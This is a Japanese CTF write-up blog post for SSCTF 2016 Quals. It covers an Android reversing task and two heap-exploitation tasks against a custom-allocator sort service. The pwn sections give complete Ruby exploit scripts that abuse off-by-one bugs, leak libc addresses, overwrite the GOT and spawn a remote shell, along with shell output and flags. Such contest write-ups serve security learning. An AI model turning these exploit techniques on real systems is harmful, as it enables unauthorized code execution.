Subscribed unsubscribe Subscribe Subscribe

しゃろの日記

CTFのwriteup置き場になる予定(`・ω・´)

SSCTF 2016 Quals writeup

SSCTF 2016 Qualsにscryptosで参加しました。

チームで2410pts入れて20位、
私は3問解いて1100pts入れました(*´ω`*)

解けた問題のwriteupを置いておきます(`・ω・´)
珍しく気合いの入ったwriteupを書いたので疲れました(小並感)

Re1 (rev 100)

渡されたapkをGenymotionに放り込んで実行してみるとこんな画面が出る。
f:id:Charo_IT:20160303095436p:plain

BytecodeViewer等で眺めてみると、Signボタンを押したときにこんな感じの処理をしていることがわかった。

def some_function(arg1, arg2)
    # DESで何かする
end

# libplokm.so内にある関数
def getpl(key, input)
    # フラグを作っているっぽい処理
    str = generate_flag()

    if input.length == 39 && str == input
        return 1
    else
        return 0
    end
end

# txt_user→上のTextBox
# txt_no→下のTextBox
if txt_user == "secl-007" && getpl(some_function("secl-007", "A7B7C7D7E7F70717"), txt_no) != 0
    # あたり
else
    # はずれ
end

ここで使われているgetpl関数は、フラグを生成した後、入力値とフラグが等しいかどうかをチェックする仕組みになっている。

しかし、生成したフラグを消す処理が見当たらないため、getpl関数が実行されると、入力値が正しいかどうか関係なくメモリ上にフラグが残る可能性が高いと言える。

ということで、getplが実行されるような文字列を入力した状態(上のTextBoxに"secl-007", 下のTextBoxに何らかの入力があればOK)でSignボタンを押し、Genymotionのメモリ上に"SSCTF{"から始まる文字列がないかを探した。

f:id:Charo_IT:20160303095444p:plain

FLAG:oty3eaP$g986iwhw32j%OJ)g0o7J.CG:

Pwn-1 (exp 400)

_CMD_$ help

Command Menu:
        history : Show history
        reload  : Reload history
        clear   : Clear history
        sort    : Sort numbers
        exit    : Exit
_CMD_$ sort
How many numbers do you want to sort: 3
1 of 3, Enter a number: 2
2 of 3, Enter a number: 3
3 of 3, Enter a number: 1

Sort Menu:
        1: Query number by index
        2: Update number by index
        3: Sort numbers
        7: Quit
Choose: 3
[*L*] The sorted result is: 1 2 3

Sort Menu:
        1: Query number by index
        2: Update number by index
        3: Sort numbers
        7: Quit
Choose: 7
_CMD_$ exit
Game over, Bye!

配列をソートするためのプログラム。

主な仕様はこんな感じ。

  • 通常メニュー
    • sort
      • 配列の長さと各要素を入力し、編集メニューに遷移する
      • 配列は[配列の長さn, 要素1, 要素2, ..., 要素n]というデータ構造で保持する
    • history
      • 履歴に登録されている配列データの長さと内容をすべて出力する
      • 履歴データは[配列データへのポインタ, 次の履歴データへのポインタ]というデータ構造になっており、すべての履歴データで1つの線形リストを構成する
    • reload
      • 履歴に登録されている配列データのうち、ユーザが指定した1つを複製し、編集メニューに遷移する
      • 内部的には、
        (1) 複製対象の配列データを参照し、配列の長さnを調べる
        (2) sizeof(int) * (n + 1)bytesの領域を確保
        (3) memcpy(確保した領域, 複製対象の配列, sizeof(int) * (n + 1))
        (4) 編集メニューへ
        という流れ
    • clear
      • 履歴データと配列データをすべて削除する
    • help
    • exit
  • 編集メニュー
    • 1: Query number by index
      • 配列内の任意の要素を出力する
      • 配列外参照(off by one)のバグがある
    • 2: Update number by index
      • 配列内の任意の要素を編集する
      • 配列外参照(off by one)のバグがある
    • 3: Sort numbers
      • 配列内をヒープソートで昇順ソートし、履歴に配列への参照を登録する
    • 7: Quit
      • 通常メニューに戻る
      • Sort numbersが一度も実行されなかった場合、配列データは解放される

このプログラムは独自のmalloc(以後my_malloc)とfree(以後my_free)を実装しており、配列データと履歴データはmy_mallocで確保された領域に格納される。

メモリ管理まわりの実装はこんな感じになっている。

f:id:Charo_IT:20160303095449p:plain

  • 管理方法
    • main関数の最初に0x10000bytesの領域をmallocで確保し、以降のmy_mallocではこの領域を切り分けて使う(図の白い部分)
    • 1つ1つのチャンクに管理データが用意される(管理データのための領域はmallocで確保されるので、実体は図の灰色の部分にある)
    • すべての管理データで1つの線形リストを構成する
    • 管理データのリストはsizeの昇順に並ぶ(チャンクサイズが等しいものが複数ある場合はLast In, First Out)
  • my_malloc
    • 管理データのリストを先頭から検索し、要求サイズとぴったり合うチャンクがあれば、そのアドレスをそのまま返す
    • 要求サイズより大きいチャンクならあるという場合は、そのチャンクを分割する
    • my_malloc(0)がエラーにならず、有効なアドレスを返す
  • my_free
    • 管理データのis_usedを0にするだけ
    • ただし、解放しようとしているメモリが一番最初に確保した0x10000bytesの範囲から外れている場合、または管理データのリストに載っていない場合はexit(0)する

以下のような手順で攻略できる。

  1. 長さ31の配列を作ってソート実行(図中のAは配列データ、Hは履歴データを表す)
    f:id:Charo_IT:20160303160503p:plain
  2. 長さ1の配列を作り、ソートせずに解放
    f:id:Charo_IT:20160303160517p:plain
  3. 一旦clear
    f:id:Charo_IT:20160303160525p:plain
  4. 長さ5の配列を作り、ソートせずに解放
    f:id:Charo_IT:20160303160531p:plain
  5. 長さ7の配列を作ってソート実行
    f:id:Charo_IT:20160303160534p:plain
  6. 長さ5の配列を作り、off-by-oneバグで5.の配列の長さを-1に書き換える
    f:id:Charo_IT:20160303160537p:plain
  7. 6.で作った配列はいらないのでソートせずに解放
    f:id:Charo_IT:20160303160540p:plain
  8. 5.で作った配列をreloadすると、my_malloc(sizeof(int) * (-1 + 1))が実行され、下図の緑色で示す領域のアドレスが返ってくる
    さらに、配列の複製処理であるmemcpy(確保した領域, 複製対象の配列, sizeof(int) * (n + 1))も無効になる
    f:id:Charo_IT:20160303160544p:plain
    この領域は元々1.で作った配列の履歴データが入っていたため、[1.で作った配列のアドレス, NULL]というデータが入っている
    プログラムはこれを配列データと誤認しているため、ユーザは先のmy_malloc(0)で返ってきたアドレス以降のメモリを読み書きできる状態になった
  9. ヒープ上のメモリレイアウトを思い出してみると、my_mallocで確保される領域の後ろにはmy_mallocのチャンク用の管理データがある(下図の灰色の部分)
    f:id:Charo_IT:20160303095449p:plain
    is_usedが0な管理データのdataポインタをgotに向けて、my_malloc時にgotのアドレスが返ってくるようにする
    f:id:Charo_IT:20160303160548p:plain
  10. 新しい数列を作る。このとき、数列の長さはmy_mallocがgotのアドレスを返すような長さにする
  11. gotを読み書きできるようになるので、got leakでlibcのベースアドレスを調べ、got overwriteでシェルを奪う
#coding:ascii-8bit
require_relative "../../pwnlib"

remote = true
if remote
    host = "pwn.lab.seclover.com"
    port = 11111
    libc_offset = {
        "puts" => 0x625e0,
        "system" => 0x3bc90
    }
else
    host = "localhost"
    port = 54321
    libc_offset = {
        "puts" => 0x65650,
        "system" => 0x40190
    }
end

offset = {
    "ret" => 0x08048b10
}
got = {
    "__stack_chk_fail" => 0x0804d02c
}

def show_history(tube)
    tube.recv_until("_CMD_$ ")
    tube.send("history\n")
end

def reload_history(tube, id)
    tube.recv_until("_CMD_$ ")
    tube.send("reload\n")
    tube.recv_until("Reload history ID: ")
    tube.send("#{id}\n")
end

def clear_history(tube)
    tube.recv_until("_CMD_$ ")
    tube.send("clear\n")
end

def sort_numbers(tube, numbers)
    tube.recv_until("_CMD_$ ")
    tube.send("sort\n")
    tube.recv_until("How many numbers do you want to sort: ")
    tube.send("#{numbers.length}\n")
    for n in numbers
        tube.recv_until("Enter a number: ")
        tube.send("#{[n].pack("L").unpack("l")[0]}\n")
    end
end

def query_array(tube, index)
    tube.recv_until("Choose: ")
    tube.send("1\n")
    tube.recv_until("Query index: ")
    tube.send("#{index}\n")
end

def update_array(tube, index, number)
    tube.recv_until("Choose: ")
    tube.send("2\n")
    tube.recv_until("Update index: ")
    tube.send("#{index}\n")
    tube.recv_until("Update number: ")
    tube.send("#{[number].pack("L").unpack("l")[0]}\n")
end

def sort_array(tube)
    tube.recv_until("Choose: ")
    tube.send("3\n")
end

def quit_sort_menu(tube)
    tube.recv_until("Choose: ")
    tube.send("7\n")
end

PwnTube.open(host, port){|tube|

    puts "[*] preparing..."
    sort_numbers(tube, [1] * 31)
    sort_array(tube)
    quit_sort_menu(tube)

    sort_numbers(tube, [1])
    quit_sort_menu(tube)

    clear_history(tube)

    sort_numbers(tube, [1] * 5)
    quit_sort_menu(tube)

    sort_numbers(tube, [1] * 7)
    sort_array(tube)
    quit_sort_menu(tube)

    sort_numbers(tube, [1] * 5)

    puts "[*] overwrite array length"
    update_array(tube, 5, -1)
    quit_sort_menu(tube)

    puts "[*] overwrite chunk management area"
    reload_history(tube, 0)
    update_array(tube, 16379, got["__stack_chk_fail"])
    quit_sort_menu(tube)

    puts "[*] leak libc base"
    tube.recv_until("_CMD_$ ")
    tube.send("sort\n")
    tube.recv_until("How many numbers do you want to sort: ")
    tube.send("17\n")
    tube.recv_until("Enter a number: ")
    tube.send("a\n")
    query_array(tube, 0)
    libc_base = (tube.recv_capture(/Query result: (-?\d+)\n/)[0].to_i & 0xffffffff) - libc_offset["puts"]
    puts "libc base = 0x%08x" % libc_base

    puts "[*] overwrite got"
    update_array(tube, 3, libc_base + libc_offset["system"])
    update_array(tube, 4, offset["ret"])
    quit_sort_menu(tube)

    puts "[*] trigger shell"
    tube.recv_until("_CMD_$ ")
    tube.send("sh\n")

    tube.interactive
}
$ ruby pwn1.rb
[*] connected
[*] preparing...
[*] overwrite array length
[*] overwrite chunk management area
[*] leak libc base
libc base = 0xb74ca000
[*] overwrite got
[*] trigger shell
[*] interactive mode
id
uid=1001(pwn4) gid=1001(pwn4) groups=1001(pwn4)
ls -la
total 32
dr-xr-x--- 2 root pwn4  4096 Feb 23 18:07 .
drwx------ 4 root root  4096 Feb 23 17:18 ..
-rwxr-xr-x 1 root root 17980 Feb 15 12:23 4.Exploit1
---------- 1 root root    40 Feb 23 17:21 SSCTF{e8b381956eac817add74767b15c448e4}
[*] connection closed

FLAG:e8b381956eac817add74767b15c448e4

Pwn-2 (exp 600)

Pwn-1のリメイク。

主な変更点は以下。

  • コンパイラの最適化がかかっている
  • 独自の改ざん検知がついた
    • mainの最初にrandで乱数を生成し、bssに保存(以後my_canary
    • 配列データは[配列の長さn, チェックデータ(n ^ my_canary), 要素1, 要素2, ..., 要素n]というデータ構造で保持する
    • 配列の要素を参照したり変更したりする際、配列の長さ ^ チェックデータ == my_canaryが成り立たない場合はexit(0)する
    • この変更に伴い、reload時のmy_mallocmy_malloc(sizeof(int) * (n + 2))に、memcpymemcpy(確保した領域, 複製対象の配列, sizeof(int) * (n + 2))になった

改ざん検知機能がついたのでPwn-1の手法をそのまま使うことは出来ないが、だいたい同じような流れで攻略できる。

  1. まずmy_canaryをリークしたいので、長さ2の配列を作ってソートし、off-by-oneバグで履歴データのポインタをbssにあるmy_canaryに向ける
    f:id:Charo_IT:20160303160556p:plain
    このとき、my_canary付近を[配列の長さ=my_canary, チェックデータ=0, ...]という配列データとして見ると、ちゃんと配列の長さ ^ チェックデータ == my_canaryが成り立つので改ざん検知に引っかからない
  2. historyコマンドでmy_canaryの値と、ついでにlibcベース調査用にstdinのアドレスをリークする
  3. 長さ6の配列を作り、先頭に[99999, 99999 ^ my_canary]というデータを仕込んだ後、ソートせずに解放
    f:id:Charo_IT:20160303160602p:plain
  4. 長さ8の配列を作り、ソートせずに解放
    f:id:Charo_IT:20160303160607p:plain
  5. 長さ10の配列を作ってソート実行
    f:id:Charo_IT:20160303160611p:plain
  6. 長さ8の配列を作り、off-by-oneバグで5.の配列の長さを-2に書き換える
    f:id:Charo_IT:20160303160619p:plain
  7. 6.で作った配列はいらないのでソートせずに解放
    f:id:Charo_IT:20160303160624p:plain
  8. 5.で作った配列をreloadするとmy_malloc(0)が実行され、下図の緑色で示す領域(3.でデータを仕込んだ領域)のアドレスが返ってくる
    f:id:Charo_IT:20160303160624p:plain
    この領域を配列データとしてみると、ちゃんと配列の長さ(99999) ^ チェックデータ(99999 ^ my_canary) == my_canaryが成り立つので改ざん検知に引っかからない
  9. my_mallocのチャンク用の管理データを書き換えられるようになるので、あとはPwn-1と同じ要領でgot overwriteすればOK
    f:id:Charo_IT:20160303160548p:plain
#coding:ascii-8bit
require_relative "../../pwnlib"

remote = true
if remote
    host = "pwn.lab.seclover.com"
    port = 22222
    libc_offset = {
        "_IO_2_1_stdin_" => 0x164440,
        "system" => 0x3bc90
    }
else
    host = "localhost"
    port = 54321
    libc_offset = {
        "_IO_2_1_stdin_" => 0x1aac20,
        "system" => 0x40190
    }
end

offset = {
    "my_canary" => 0x0804c04c,
}
got = {
    "putchar" => 0x0804c00c
}

def show_history(tube)
    tube.recv_until("_CMD_$ ")
    tube.send("history\n")
end

def reload_history(tube, id)
    tube.recv_until("_CMD_$ ")
    tube.send("reload\n")
    tube.recv_until("Reload history ID: ")
    tube.send("#{id}\n")
end

def clear_history(tube)
    tube.recv_until("_CMD_$ ")
    tube.send("clear\n")
end

def sort_numbers(tube, numbers)
    tube.recv_until("_CMD_$ ")
    tube.send("sort\n")
    tube.recv_until("How many numbers do you want to sort: ")
    tube.send("#{numbers.length}\n")
    for n in numbers
        tube.recv_until("Enter a number: ")
        tube.send("#{[n].pack("L").unpack("l")[0]}\n")
    end
end

def query_array(tube, index)
    tube.recv_until("Choose: ")
    tube.send("1\n")
    tube.recv_until("Query index: ")
    tube.send("#{index}\n")
end

def update_array(tube, index, number)
    tube.recv_until("Choose: ")
    tube.send("2\n")
    tube.recv_until("Update index: ")
    tube.send("#{index}\n")
    tube.recv_until("Update number: ")
    tube.send("#{[number].pack("L").unpack("l")[0]}\n")
end

def sort_array(tube)
    tube.recv_until("Choose: ")
    tube.send("3\n")
end

def quit_sort_menu(tube)
    tube.recv_until("Choose: ")
    tube.send("7\n")
end

PwnTube.open(host, port){|tube|

    puts "[*] leak original canary and libc base"
    sort_numbers(tube, [1] * 2)
    sort_array(tube)
    update_array(tube, 2, offset["my_canary"])
    quit_sort_menu(tube)

    show_history(tube)
    canary, libc_base = tube.recv_capture(/Len = (\d+), Data = 0 0 0 (-?\d+) /).map(&:to_i)
    libc_base = (libc_base & 0xffffffff) - libc_offset["_IO_2_1_stdin_"]
    puts "canary = 0x%08x" % canary
    puts "libc base = 0x%08x" % libc_base

    puts "[*] preparing..."
    sort_numbers(tube, [2] * 6)
    update_array(tube, 0, 99999)
    update_array(tube, 1, canary ^ 99999)
    quit_sort_menu(tube)

    sort_numbers(tube, [3] * 8)
    quit_sort_menu(tube)

    sort_numbers(tube, [4] * 10)
    sort_array(tube)
    quit_sort_menu(tube)

    puts "[*] overwrite array length"
    sort_numbers(tube, [5] * 8)
    update_array(tube, 8, -2)
    quit_sort_menu(tube)

    puts "[*] overwrite chunk management area"
    reload_history(tube, 0)
    update_array(tube, 16390, got["putchar"])
    quit_sort_menu(tube)

    puts "[*] overwrite got"
    tube.recv_until("_CMD_$ ")
    tube.send("sort\n")
    tube.recv_until("How many numbers do you want to sort: ")
    tube.send("8\n")
    tube.recv_until("Enter a number: ")
    tube.send("0\n")
    tube.recv_until("Enter a number: ")
    tube.send("#{0x08048706}\n")
    tube.recv_until("Enter a number: ")
    tube.send("a\n")
    update_array(tube, 2, libc_base + libc_offset["system"])

    puts "[*] trigger shell"
    tube.recv_until("Choose: ")
    tube.send("sh\n")

    tube.interactive
}
$ ruby pwn2.rb
[*] connected
[*] leak original canary and libc base
canary = 0x1327b711
libc base = 0xb750e000
[*] preparing...
[*] overwrite array length
[*] overwrite chunk management area
[*] overwrite got
[*] trigger shell
[*] interactive mode
id
uid=1002(pwn5) gid=1002(pwn5) groups=1002(pwn5)
ls -la
total 32
dr-xr-x--- 2 root pwn5  4096 Feb 23 18:04 .
drwx------ 4 root root  4096 Feb 23 17:18 ..
-rwxr-xr-x 1 root root 17928 Feb 15 12:23 5.Exploit2
---------- 1 root root    40 Feb 23 17:21 SSCTF{eaf05181170412ab19d74ba3d5cf15b9}

FLAG:eaf05181170412ab19d74ba3d5cf15b9